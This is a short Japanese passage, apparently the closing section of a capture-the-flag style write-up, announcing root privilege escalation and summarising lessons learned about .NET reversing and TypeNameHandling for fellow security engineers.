というわけでレッツ権限昇格!!!!
Root権限昇格完了!!!
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
.NETは初心者すぎましたが、Class(のリバーシング)を経験しているようであれば難なく解けると思われます。
TypeNameHandlingの知識も付いて、いい勉強になりました。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。